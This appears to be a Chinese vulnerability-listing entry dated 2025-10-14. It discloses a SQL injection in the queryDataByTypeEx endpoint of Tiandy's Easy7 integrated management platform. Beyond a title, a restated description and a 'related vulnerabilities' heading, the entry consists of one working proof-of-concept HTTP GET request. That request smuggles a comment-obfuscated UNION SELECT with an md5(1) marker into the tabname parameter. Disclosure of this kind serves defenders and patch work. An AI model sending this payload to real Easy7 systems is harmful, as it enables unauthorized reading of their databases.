天地伟业Easy7综合管理平台 queryDataByTypeEx SQL注入漏洞

日期: 2025-10-14 | 影响软件: Easy7综合管理平台 | POC: 已公开

漏洞描述

天地伟业Easy7综合管理平台 queryDataByTypeEx SQL注入漏洞

PoC代码

GET /Easy7/rest/workbook/queryDataByTypeEx?tabname=/*!TAB_WORKBOOK_TYPE*/where/**/1=1/**/union/**/select/**/md5(1),1 HTTP/1.1

相关漏洞推荐